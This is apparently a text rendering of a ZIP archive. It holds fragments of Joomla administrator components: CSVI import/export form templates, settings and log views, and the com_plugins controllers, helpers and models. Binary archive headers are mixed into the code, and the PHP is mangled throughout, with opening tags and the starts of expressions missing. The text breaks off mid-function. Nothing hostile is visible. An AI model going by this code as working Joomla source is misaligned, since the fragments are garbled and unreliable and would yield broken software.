        form->getInput('use_column_headers', 'general'); ?>
      • form->getLabel('skip_first_line', 'general'); ?>
        form->getInput('skip_first_line', 'general'); ?>
      • form->getLabel('skip_default_value', 'general'); ?>
        form->getInput('skip_default_value', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('refresh_xml_headers', 'general'); ?>
        form->getInput('refresh_xml_headers', 'general'); ?>
      • form->getLabel('xml_nodes_map', 'general'); ?>
        form->getInput('xml_nodes_map', 'general'); ?>
      PKs>\#o,,5com_csvi/views/process/tmpl/com_virtuemart/index.htmlnuW+APKs>\S'com_csvi/views/process/tmpl/default.phpnuW+A
      templates; ?>
      form->getGroup('options') as $field) : ?> input; ?>
      form->getValue('action', 'options'); $component = $this->form->getValue('component', 'options'); $operation = $this->form->getValue('operation', 'options'); if ($action && $component & $operation) { // Load the source template echo $this->loadTemplate('source'); // Load the specific templates switch($action) { case 'import': ?>
        optiontemplates as $template) { ?>
      optiontemplates as $template) { ?>
      loadTemplate($template); ?>
        optiontemplates as $template) { ?>
      optiontemplates as $template) { ?>
      loadTemplate($template); ?>
      PKs>\P P -com_csvi/views/process/tmpl/import_result.phpnuW+Alogresult) { $jinput = JFactory::getApplication()->input; ?> logresult['result']) > 0) { foreach ($this->logresult['result'] as $result => $log) { ?>
      logresult['file_name']).'
      '.$this->runtime; ?>
      get('run_id', 0, 'int')), JText::_('COM_CSVI_SHOW_FULL_LOG')); echo ' | '; // Show view debug log if (!empty($this->logresult['debugview'])) { echo $this->logresult['debugview']; echo ' | '; } // Show download debug log echo $this->logresult['debug']; ?>
      total_result; ?> result; ?> status); ?>
      '; echo $this->runtime; echo '
      '; echo '
      '; echo JText::_('COM_CSVI_NO_LOG_EXPLAIN'); }?> PKs>\#o,,&com_csvi/views/process/tmpl/index.htmlnuW+APKs>\)%com_csvi/views/process/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\-p;;5com_csvi/views/process/tmpl/import/default_fields.phpnuW+A form->getValue('operation', 'options') == 'customimport') { ?>
      form->getInput('custom_table'); ?>

      'addRow')); ?> templatefields, '_field_name', null, 'value', 'text', null, '_field_name'); ?> replacements, '_replace_field', '', 'value', 'text', '', '_replace_field_default'); ?>

      template->get('import_fields'); if (isset($import_fields['_selected_name'])) { for ($rows = 0; $rows < count($import_fields['_selected_name']); $rows++) { $id = mt_rand(); ?>
      replacements, 'jform[import_fields][_replace_field]['.$rows.']', '', 'value', 'text', $import_fields['_replace_field'][$rows], '_replace_field_'.$id); ?>
      templatefields as $fieldname) { ?>
      text; ?>
      PKs>\),com_csvi/views/process/tmpl/import/.htaccessnuW+A Order allow,deny Deny from all PKs>\D;^^4com_csvi/views/process/tmpl/import/default_limit.phpnuW+A
      • form->getLabel('use_system_limits', 'limit'); ?>
        form->getInput('use_system_limits', 'limit'); ?>
      • form->getLabel('max_execution_time', 'limit'); ?>
        form->getInput('max_execution_time', 'limit'); ?>
        :
      • form->getLabel('memory_limit', 'limit'); ?>
        form->getInput('memory_limit', 'limit'); ?>
        :
      • form->getLabel('post_max_size', 'limit'); ?>
        form->getInput('post_max_size', 'limit'); ?>
        :
      • form->getLabel('upload_max_filesize', 'limit'); ?>
        form->getInput('upload_max_filesize', 'limit'); ?>
        :
      PKs>\Pw 5com_csvi/views/process/tmpl/import/default_source.phpnuW+A
      • form->getLabel('source', 'general'); ?>
        form->getInput('source', 'general'); ?>
      • form->getLabel('import_file', 'general'); ?>
        form->getInput('import_file', 'general'); ?>
      • form->getLabel('local_csv_file', 'general'); ?>
        form->getInput('local_csv_file', 'general'); ?>
      • form->getLabel('urlfile', 'general'); ?>
        form->getInput('urlfile', 'general'); ?>
      • form->getLabel('ftphost', 'general'); ?>
        form->getInput('ftphost', 'general'); ?>
      • form->getLabel('ftpport', 'general'); ?>
        form->getInput('ftpport', 'general'); ?>
      • form->getLabel('ftpusername', 'general'); ?>
        form->getInput('ftpusername', 'general'); ?>
      • form->getLabel('ftppass', 'general'); ?>
        form->getInput('ftppass', 'general'); ?>
      • form->getLabel('ftproot', 'general'); ?>
        form->getInput('ftproot', 'general'); ?>
      • form->getLabel('ftpfile', 'general'); ?>
        form->getInput('ftpfile', 'general'); ?>
      PKs>\L3com_csvi/views/process/tmpl/import/default_file.phpnuW+A
      • form->getLabel('auto_detect_delimiters', 'general'); ?>
        form->getInput('auto_detect_delimiters', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('im_mac', 'general'); ?>
        form->getInput('im_mac', 'general'); ?>
      • form->getLabel('use_column_headers', 'general'); ?>
        form->getInput('use_column_headers', 'general'); ?>
      • form->getLabel('skip_first_line', 'general'); ?>
        form->getInput('skip_first_line', 'general'); ?>
      • form->getLabel('overwrite_existing_data', 'general'); ?>
        form->getInput('overwrite_existing_data', 'general'); ?>
      • form->getLabel('ignore_non_exist', 'general'); ?>
        form->getInput('ignore_non_exist', 'general'); ?>
      • form->getLabel('skip_default_value', 'general'); ?>
        form->getInput('skip_default_value', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('refresh_xml_headers', 'general'); ?>
        form->getInput('refresh_xml_headers', 'general'); ?>
      • form->getLabel('xml_nodes_map', 'general'); ?>
        form->getInput('xml_nodes_map', 'general'); ?>
      PKs>\#o,,-com_csvi/views/process/tmpl/import/index.htmlnuW+APKs>\);com_csvi/views/process/tmpl/com_akeebasubs/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\]t{ Jcom_csvi/views/process/tmpl/com_akeebasubs/export/default_subscription.phpnuW+A
      • form->getLabel('ordernostart', 'order'); ?>
        form->getInput('ordernostart', 'order'); ?> form->getInput('ordernoend', 'order'); ?>
      • form->getLabel('orderlist', 'order'); ?>
        form->getInput('orderlist', 'order'); ?>
      • form->getLabel('orderdatestart', 'order'); ?>
        form->getInput('orderdatestart', 'order'); ?> form->getInput('orderdateend', 'order'); ?>
      • form->getLabel('orderstatus', 'order'); ?>
        form->getInput('orderstatus', 'order'); ?>
      • form->getLabel('orderpayment', 'order'); ?>
        form->getInput('orderpayment', 'order'); ?>
      • form->getLabel('orderpricestart', 'order'); ?>
        form->getInput('orderpricestart', 'order'); ?> form->getInput('orderpriceend', 'order'); ?>
      form->getLabel('orderuser', 'order'); ?>
      form->getInput('orderuser', 'order'); ?>
      form->getLabel('orderproduct', 'order'); ?>
      form->getInput('orderproduct', 'order'); ?>
      PKs>\MwzzBcom_csvi/views/process/tmpl/com_akeebasubs/export/default_file.phpnuW+A
      • form->getLabel('export_filename', 'general'); ?>
        form->getInput('export_filename', 'general'); ?>
      • form->getLabel('export_file', 'general'); ?>
        form->getInput('export_file', 'general'); ?>
      • form->getLabel('export_site', 'general'); ?>
        form->getInput('export_site', 'general'); ?>
      • form->getLabel('field_delimiter', 'general'); ?>
        form->getInput('field_delimiter', 'general'); ?>
      • form->getLabel('text_enclosure', 'general'); ?>
        form->getInput('text_enclosure', 'general'); ?>
      • form->getLabel('include_column_headers', 'general'); ?>
        form->getInput('include_column_headers', 'general'); ?>
      • form->getLabel('signature', 'general'); ?>
        form->getInput('signature', 'general'); ?>
      • form->getLabel('export_frontend', 'general'); ?>
        form->getInput('export_frontend', 'general'); ?>
      • form->getLabel('collect_debug_info', 'general'); ?>
        form->getInput('collect_debug_info', 'general'); ?>
      • form->getLabel('publish_state', 'general'); ?>
        form->getInput('publish_state', 'general'); ?>
      • form->getLabel('recordstart', 'general'); ?>
        form->getInput('recordstart', 'general'); ?> form->getInput('recordend', 'general'); ?>
      • form->getLabel('groupby', 'general'); ?>
        form->getInput('groupby', 'general'); ?>
      • form->getLabel('export_date_format', 'general'); ?>
        form->getInput('export_date_format', 'general'); ?>

      • form->getLabel('export_price_format_decimal', 'general'); ?>
        form->getInput('export_price_format_decimal', 'general'); ?>
      • form->getLabel('export_price_format_decsep', 'general'); ?>
        form->getInput('export_price_format_decsep', 'general'); ?>
      • form->getLabel('export_price_format_thousep', 'general'); ?>
        form->getInput('export_price_format_thousep', 'general'); ?>
      • form->getLabel('add_currency_to_price', 'general'); ?>
        form->getInput('add_currency_to_price', 'general'); ?>
      PKs>\#o,,<com_csvi/views/process/tmpl/com_akeebasubs/export/index.htmlnuW+APKs>\#o,,5com_csvi/views/process/tmpl/com_akeebasubs/index.htmlnuW+APKs>\)4com_csvi/views/process/tmpl/com_akeebasubs/.htaccessnuW+A Order allow,deny Deny from all PKs>\eWǵ5com_csvi/views/process/tmpl/export/default_source.phpnuW+A
      • form->getLabel('exportto', 'general'); ?>
        form->getInput('exportto', 'general'); ?>
      • form->getLabel('localpath', 'general'); ?>
        form->getInput('localpath', 'general'); ?>
      • form->getLabel('ftphost', 'general'); ?>
        form->getInput('ftphost', 'general'); ?>
      • form->getLabel('ftpport', 'general'); ?>
        form->getInput('ftpport', 'general'); ?>
      • form->getLabel('ftpusername', 'general'); ?>
        form->getInput('ftpusername', 'general'); ?>
      • form->getLabel('ftppass', 'general'); ?>
        form->getInput('ftppass', 'general'); ?>
      • form->getLabel('ftproot', 'general'); ?>
        form->getInput('ftproot', 'general'); ?>
      • form->getLabel('ftpfile', 'general'); ?>
        form->getInput('ftpfile', 'general'); ?>
      PKs>\pHCC5com_csvi/views/process/tmpl/export/default_fields.phpnuW+A form->getValue('operation', 'options') == 'customexport') { ?>
      form->getInput('custom_table'); ?>

      'addRow')); ?> templatefields, '_field_name', null, 'value', 'text', null, '_field_name'); ?> replacements, '_replace_field', '', 'value', 'text', '', '_replace_field_default'); ?>

      template->get('export_fields'); if (isset($export_fields['_selected_name'])) { for ($rows = 0; $rows < count($export_fields['_selected_name']); $rows++) { $id = mt_rand(); ?>
      replacements, 'jform[export_fields][_replace_field]['.$rows.']', '', 'value', 'text', $export_fields['_replace_field'][$rows], '_replace_field_'.$id); ?>
      templatefields as $fieldname) { ?>
      text; ?>
      PKs>\gR4com_csvi/views/process/tmpl/export/default_email.phpnuW+A
      • form->getLabel('export_email_addresses', 'email'); ?>
        form->getInput('export_email_addresses', 'email'); ?>
      • form->getLabel('export_email_addresses_cc', 'email'); ?>
        form->getInput('export_email_addresses_cc', 'email'); ?>
      • form->getLabel('export_email_addresses_bcc', 'email'); ?>
        form->getInput('export_email_addresses_bcc', 'email'); ?>
      • form->getLabel('export_email_subject', 'email'); ?>
        form->getInput('export_email_subject', 'email'); ?>
      form->getLabel('export_email_body', 'email'); ?>
      form->getInput('export_email_body', 'email'); ?>
      PKs>\/߬5com_csvi/views/process/tmpl/export/default_layout.phpnuW+A
      • form->getLabel('header', 'layout'); ?>
        form->getInput('header', 'layout'); ?>
      • form->getLabel('body', 'layout'); ?>
        form->getInput('body', 'layout'); ?>
      • form->getLabel('footer', 'layout'); ?>
        form->getInput('footer', 'layout'); ?>
      PKs>\),com_csvi/views/process/tmpl/export/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,-com_csvi/views/process/tmpl/export/index.htmlnuW+APKs>\c4com_csvi/views/process/tmpl/export/default_limit.phpnuW+A
      • form->getLabel('use_system_limits', 'limit'); ?>
        form->getInput('use_system_limits', 'limit'); ?>
      • form->getLabel('max_execution_time', 'limit'); ?>
        form->getInput('max_execution_time', 'limit'); ?>
        :
      • form->getLabel('memory_limit', 'limit'); ?>
        form->getInput('memory_limit', 'limit'); ?>
        :
      PKs>\w&com_csvi/views/process/view.result.phpnuW+Ainput; // Load the settings $this->loadHelper('settings'); $settings = new CsviSettings(); if ($settings->get('log.log_store', 1)) { // Load the results from the log $this->logresult = $this->get('Stats', 'log'); // Get the run time $session = JFactory::getSession(); $runtime = $session->get('com_csvi.runtime'); if ($runtime > 0) $runtime = time()-$runtime; $this->assignRef('runtime', JText::sprintf('COM_CSVI_RUNTIME_IMPORT', number_format($runtime/60, 2), $runtime)); // Reset the run time $session->set('com_csvi.runtime', null); // Get the toolbar title JToolBarHelper::title(JText::_('COM_CSVI_'.$this->logresult['action'].'_RESULT'), 'csvi_'.$this->logresult['action'].'_48'); } else $this->logresult = false; // Get the panel $this->loadHelper('panel'); // Display it all parent::display($tpl); } } ?> PKs>\) com_csvi/views/process/.htaccessnuW+A Order allow,deny Deny from all PKs>\)&com_csvi/views/settings/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\ Sl (com_csvi/views/settings/tmpl/default.phpnuW+A
      1)); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_SITE_SETTINGS'), 'site_settings'); echo $this->loadTemplate('site'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_IMPORT_SETTINGS'), 'import_settings'); echo $this->loadTemplate('import'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_GOOGLE_BASE_SETTINGS'), 'google_base_settings'); echo $this->loadTemplate('google_base'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_ICECAT_SETTINGS'), 'icecat_settings'); echo $this->loadTemplate('icecat'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_LOG_SETTINGS'), 'log_settings'); echo $this->loadTemplate('log'); echo JHtml::_('tabs.panel', JText::_('COM_CSVI_SETTINGS_CUSTOM_TABLES'), 'custom_tables_settings'); echo $this->loadTemplate('custom_tables'); echo JHtml::_('tabs.end'); ?>
      PKs>\-com_csvi/views/settings/tmpl/default_site.phpnuW+A
        form->getGroup('site') as $field) : ?>
      • label; ?> input; ?>
      PKs>\rww,com_csvi/views/settings/tmpl/default_log.phpnuW+A
        form->getGroup('log') as $field) : ?>
      • label; ?> input; ?>
        form->getGroup('debuglog') as $field) : ?>
      • label; ?> input; ?>
      PKs>\#o,,'com_csvi/views/settings/tmpl/index.htmlnuW+APKs>\,6com_csvi/views/settings/tmpl/default_custom_tables.phpnuW+A form->getValue('tables'); if (!is_null($tables)) $selected = $tables->tablelist; else $selected = array(); // Check if the selected value is an array if (!is_array($selected)) $selected = array($selected); foreach ($this->tablelist as $table) { if (in_array($table, $selected)) $sel = 'checked="checked"'; else $sel = ''; ?>
      />
      PKs>\Ӏ/com_csvi/views/settings/tmpl/default_icecat.phpnuW+A
        form->getGroup('icecat') as $field) : ?>
      • label; ?> input; ?>

      PKs>\oY/com_csvi/views/settings/tmpl/default_import.phpnuW+A
        form->getGroup('import') as $field) : ?>
      • label; ?> input; ?>
      PKs>\ 4com_csvi/views/settings/tmpl/default_google_base.phpnuW+A
        form->getGroup('google_base') as $field) : ?>
      • label; ?> input; ?>
      PKs>\eFsZ%com_csvi/views/settings/view.html.phpnuW+Aform = $this->get('Form'); // Load a list of tables $this->tablelist = $this->get('TableList'); // Get the panel $this->loadHelper('panel'); // Show the toolbar JToolBarHelper::title(JText::_('COM_CSVI_SETTINGS_TITLE'), 'csvi_settings_48'); JToolBarHelper::custom('settings.reset', 'csvi_reset_32', 'csvi_reset_32', JText::_('COM_CSVI_RESET_SETTINGS'), false); JToolBarHelper::custom('settings.save', 'csvi_save_32', 'csvi_save_32', JText::_('COM_CSVI_SAVE'), false); //JToolBarHelper::help('settings.html', true); // Display it all parent::display($tpl); } } ?>PKs>\#o,,"com_csvi/views/settings/index.htmlnuW+APKs>\)!com_csvi/views/settings/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_csvi/views/log/.htaccessnuW+A Order allow,deny Deny from all PKs>\)!com_csvi/views/log/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\#o,,"com_csvi/views/log/tmpl/index.htmlnuW+APKs>\&%com_csvi/views/log/tmpl/logreader.phpnuW+Alogdetails)) echo ''.sprintf(JText::_('COM_CSVI_NO_LOG_FOUND'), $this->logfile).''; else { ?>
      logdetails['date']; ?>
      logdetails['joomla']; ?>
      logdetails['fields'] as $title) { ?> logdetails['entries'] as $entry) { ?>
      logdetails['entries'])); ?>
      PKs>\r#com_csvi/views/log/tmpl/default.phpnuW+Astate->get('list.ordering'); $listDirn = $this->state->get('list.direction'); ?>
      : lists['actions']; ?>
      pagination->getResultsCounter(); ?>
      logentries) { for ($i=0, $n=count( $this->logentries); $i < $n; $i++) { $row = $this->logentries[$i]; // Pseudo entry for satisfying Joomla $row->checked_out = 0; $link = 'index.php?option=com_csvi&task=logdetails.display&run_id[]='. $row->run_id; $checked = JHtml::_('grid.checkedout', $row, $i); $user = JFactory::getUser($row->userid); ?> '; ?>
      pagination->getListFooter(); ?>
      action); ?> action_type); ?> template_name; ?> logstamp, 'Y-m-d H:i:s'); ?> name; ?> records; ?> run_cancelled) ? JText::_('COM_CSVI_YES') : JText::_('COM_CSVI_NO'); echo $run_cancelled;?> file_name; ?> action_type, -6) == 'import' || substr($row->action_type, -6) == 'export') { if (file_exists(CSVIPATH_DEBUG.'/com_csvi.log.'.$row->run_id.'.php')) { $attribs = 'class="modal" onclick="" rel="{handler: \'iframe\', size: {x: 950, y: 500}}"'; echo JHTML::_('link', JRoute::_('index.php?option=com_csvi&task=log.logreader&tmpl=component&run_id='.$row->run_id), $row->run_id, $attribs); } else echo $row->run_id; } else echo $row->run_id; ?>
      '.JText::_('COM_CSVI_NO_LOG_ENTRIES_FOUND').'
      PKs>\#o,,com_csvi/views/log/index.htmlnuW+APKs>\O O com_csvi/views/log/view.html.phpnuW+Ainput; // Get the task $task = $jinput->get('task'); // Get the log $model = $this->getModel('log'); switch ($task) { case 'logreader': $this->logdetails = $this->get('Logfile'); $this->logfile = $logfile = CSVIPATH_DEBUG.'/com_csvi.log.'.JRequest::getInt('run_id').'.php'; break; default: // Load the logs $this->logentries = $this->get('Items'); // Get the pagination $this->pagination = $this->get('Pagination'); // Load the user state $this->state = $this->get('State'); // Load the action types $actiontypes = $this->get('ActionTypes'); $this->lists['actions'] = JHTML::_('select.genericlist', $actiontypes, 'filter_actiontype', '', 'value', 'text', JRequest::getWord('filter_actiontype')); // Get the panel $this->loadHelper('panel'); // Add toolbar JToolBarHelper::title(JText::_('COM_CSVI_LOG'), 'csvi_log_48'); JToolBarHelper::custom( 'logdetails.logdetails', 'csvi_logdetails_32', 'csvi_logdetails_32', JText::_('COM_CSVI_DETAILS'), true); JToolBarHelper::custom( 'log.remove', 'csvi_delete_32', 'csvi_delete_32', JText::_('COM_CSVI_DELETE'), true); JToolBarHelper::custom( 'log.remove_all', 'csvi_delete_32', 'csvi_delete_32', JText::_('COM_CSVI_DELETE_ALL'), false); // JToolBarHelper::help('log.html', true); break; } // Display it all parent::display($tpl); } } ?> PKs>\)com_csvi/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_plugins/index.htmlnuW+A PKs>\V"com_plugins/controllers/index.htmlnuW+A PKs>\"d#com_plugins/controllers/plugins.phpnuW+A true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PKs>\桜}"com_plugins/controllers/plugin.phpnuW+A\)!com_plugins/controllers/.htaccessnuW+A Order allow,deny Deny from all PKs>\)com_plugins/.htaccessnuW+A Order allow,deny Deny from all PKs>\$ com_plugins/plugins.xmlnuW+A com_plugins Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_PLUGINS_XML_DESCRIPTION config.xml controller.php index.html plugins.php controllers helpers models views language/en-GB.com_plugins.ini PKs>\pCCcom_plugins/plugins.phpnuW+Aauthorise('core.manage', 'com_plugins')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Create the controller $controller = JControllerLegacy::getInstance('Plugins'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PKs>\)com_plugins/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\Vcom_plugins/helpers/index.htmlnuW+A PKs>\Qd d com_plugins/helpers/plugins.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } /** * Returns an array of standard published state filter options. * * @return string The HTML code for the select tag */ public static function stateOptions() { // Build the active state filter options. $options = array(); $options[] = JHtml::_('select.option', '1', 'JENABLED'); $options[] = JHtml::_('select.option', '0', 'JDISABLED'); return $options; } /** * Returns an array of standard published state filter options. * * @return string The HTML code for the select tag */ public static function folderOptions() { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('DISTINCT(folder) AS value, folder AS text'); $query->from('#__extensions'); $query->where($db->quoteName('type').' = '.$db->quote('plugin')); $query->order('folder'); $db->setQuery($query); $options = $db->loadObjectList(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } return $options; } function parseXMLTemplateFile($templateBaseDir, $templateDir) { $data = new JObject; // Check of the xml file exists $filePath = JPath::clean($templateBaseDir.'/templates/'.$templateDir.'/templateDetails.xml'); if (is_file($filePath)) { $xml = JInstaller::parseXMLInstallFile($filePath); if ($xml['type'] != 'template') { return false; } foreach ($xml as $key => $value) { $data->set($key, $value); } } return $data; } } PKs>\mcom_plugins/access.xmlnuW+A
      PKs>\K &com_plugins/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $pluginId = (int) $this->form->getValue('extension_id'); $folder = $this->form->getValue('folder'); $db = JFactory::getDbo(); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text, type AS type, folder AS folder, extension_id AS extension_id' . ' FROM #__extensions' . ' WHERE (type =' .$db->Quote('plugin'). 'AND folder='. $db->Quote($folder) . ')'. ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $pluginId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $pluginId ? 0 : 1); } return implode($html); } } PKs>\)#com_plugins/models/fields/.htaccessnuW+A Order allow,deny Deny from all PKs>\V$com_plugins/models/fields/index.htmlnuW+A PKs>\"**#com_plugins/models/forms/plugin.xmlnuW+A
      PKs>\)"com_plugins/models/forms/.htaccessnuW+A Order allow,deny Deny from all PKs>\V#com_plugins/models/forms/index.htmlnuW+A PKs>\:2K#K#com_plugins/models/plugin.phpnuW+AgetItem(); $folder = $item->folder; $element = $item->element; } else { $folder = JArrayHelper::getValue($data, 'folder', '', 'cmd'); $element = JArrayHelper::getValue($data, 'element', '', 'cmd'); } // These variables are used to add data from the plugin XML files. $this->setState('item.folder', $folder); $this->setState('item.element', $element); // Get the form. $form = $this->loadForm('com_plugins.plugin', 'plugin', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('enabled', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('enabled', 'filter', 'unset'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_plugins.edit.plugin.data', array()); if (empty($data)) { $data = $this->getItem(); } return $data; } /** * Method to get a single record. * * @param integer The id of the primary key. * * @return mixed Object on success, false on failure. */ public function getItem($pk = null) { // Initialise variables. $pk = (!empty($pk)) ? $pk : (int) $this->getState('plugin.id'); if (!isset($this->_cache[$pk])) { $false = false; // Get a row instance. $table = $this->getTable(); // Attempt to load the row. $return = $table->load($pk); // Check for a table object error. if ($return === false && $table->getError()) { $this->setError($table->getError()); return $false; } // Convert to the JObject before adding other data. $properties = $table->getProperties(1); $this->_cache[$pk] = JArrayHelper::toObject($properties, 'JObject'); // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($table->params); $this->_cache[$pk]->params = $registry->toArray(); // Get the plugin XML. $path = JPath::clean(JPATH_PLUGINS.'/'.$table->folder.'/'.$table->element.'/'.$table->element.'.xml'); if (file_exists($path)) { $this->_cache[$pk]->xml = JFactory::getXML($path); } else { $this->_cache[$pk]->xml = null; } } return $this->_cache[$pk]; } /** * Returns a reference to the a Table object, always creating it. * * @param type The table type to instantiate * @param string A prefix for the table class name. Optional. * @param array Configuration array for model. Optional. * @return JTable A database object */ public function getTable($type = 'Extension', $prefix = 'JTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @return void * @since 1.6 */ protected function populateState() { // Execute the parent method. parent::populateState(); $app = JFactory::getApplication('administrator'); // Load the User state. $pk = (int) JRequest::getInt('extension_id'); $this->setState('plugin.id', $pk); } /** * @param object A form object. * @param mixed The data expected for the form. * @return mixed True if successful. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'content') { jimport('joomla.filesystem.file'); jimport('joomla.filesystem.folder'); // Initialise variables. $folder = $this->getState('item.folder'); $element = $this->getState('item.element'); $lang = JFactory::getLanguage(); $client = JApplicationHelper::getClientInfo(0); // Load the core and/or local language sys file(s) for the ordering field. $db = JFactory::getDbo(); $query = 'SELECT element' . ' FROM #__extensions' . ' WHERE (type =' .$db->Quote('plugin'). 'AND folder='. $db->Quote($folder) . ')'; $db->setQuery($query); $elements = $db->loadColumn(); foreach ($elements as $elementa) { $lang->load('plg_'.$folder.'_'.$elementa.'.sys', JPATH_ADMINISTRATOR, null, false, true) || $lang->load('plg_'.$folder.'_'.$elementa.'.sys', JPATH_PLUGINS.'/'.$folder.'/'.$elementa, null, false, true); } if (empty($folder) || empty($element)) { $app = JFactory::getApplication(); $app->redirect(JRoute::_('index.php?option=com_plugins&view=plugins', false)); } // Try 1.6 format: /plugins/folder/element/element.xml $formFile = JPath::clean(JPATH_PLUGINS.'/'.$folder.'/'.$element.'/'.$element.'.xml'); if (!file_exists($formFile)) { // Try 1.5 format: /plugins/folder/element/element.xml $formFile = JPath::clean(JPATH_PLUGINS.'/'.$folder.'/'.$element.'.xml'); if (!file_exists($formFile)) { throw new Exception(JText::sprintf('COM_PLUGINS_ERROR_FILE_NOT_FOUND', $element.'.xml')); return false; } } // Load the core and/or local language file(s). $lang->load('plg_'.$folder.'_'.$element, JPATH_ADMINISTRATOR, null, false, true) || $lang->load('plg_'.$folder.'_'.$element, JPATH_PLUGINS.'/'.$folder.'/'.$element, null, false, true); if (file_exists($formFile)) { // Get the plugin form. if (!$form->loadFile($formFile, false, '//config')) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } } // Attempt to load the xml file. if (!$xml = simplexml_load_file($formFile)) { throw new Exception(JText::_('JERROR_LOADFILE_FAILED')); } // Get the help data from the XML file if present. $help = $xml->xpath('/extension/help'); if (!empty($help)) { $helpKey = trim((string) $help[0]['key']); $helpURL = trim((string) $help[0]['url']); $this->helpKey = $helpKey ? $helpKey : $this->helpKey; $this->helpURL = $helpURL ? $helpURL : $this->helpURL; } // Trigger the default form events. parent::preprocessForm($form, $data, $group); } /** * A protected method to get a set of ordering conditions. * * @param object A record object. * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'type = '. $this->_db->Quote($table->type); $condition[] = 'folder = '. $this->_db->Quote($table->folder); return $condition; } /** * Override method to save the form data. * * @param array The form data. * @return boolean True on success. * @since 1.6 */ public function save($data) { // Load the extension plugin group. JPluginHelper::importPlugin('extension'); // Setup type $data['type'] = 'plugin'; return parent::save($data); } /** * Get the necessary data to load an item help screen. * * @return object An object with key, url, and local properties for loading the item help screen. * @since 1.6 */ public function getHelp() { return (object) array('key' => $this->helpKey, 'url' => $this->helpURL); } /** * Custom clean cache method, plugins are cached in 2 places for different clients * * @since 1.6 */ protected function cleanCache($group = null, $client_id = 0) { parent::cleanCache('com_plugins'); } } PKs>\scom_plugins/models/plugins.phpnuW+AgetUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $state = $this->getUserStateFromRequest($this->context.'.filter.state', 'filter_state', '', 'string'); $this->setState('filter.state', $state); $folder = $this->getUserStateFromRequest($this->context.'.filter.folder', 'filter_folder', null, 'cmd'); $this->setState('filter.folder', $folder); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // Load the parameters. $params = JComponentHelper::getParams('com_plugins'); $this->setState('params', $params); // List state information. parent::populateState('folder', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string A prefix for the store id. * * @return string A store id. */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.state'); $id .= ':'.$this->getState('filter.folder'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Returns an object list * * @param string The query * @param int Offset * @param int The number of records * @return array */ protected function _getList($query, $limitstart=0, $limit=0) { $search = $this->getState('filter.search'); $ordering = $this->getState('list.ordering', 'ordering'); if ($ordering == 'name' || (!empty($search) && stripos($search, 'id:') !== 0)) { $this->_db->setQuery($query); $result = $this->_db->loadObjectList(); $this->translate($result); if (!empty($search)) { foreach($result as $i=>$item) { if 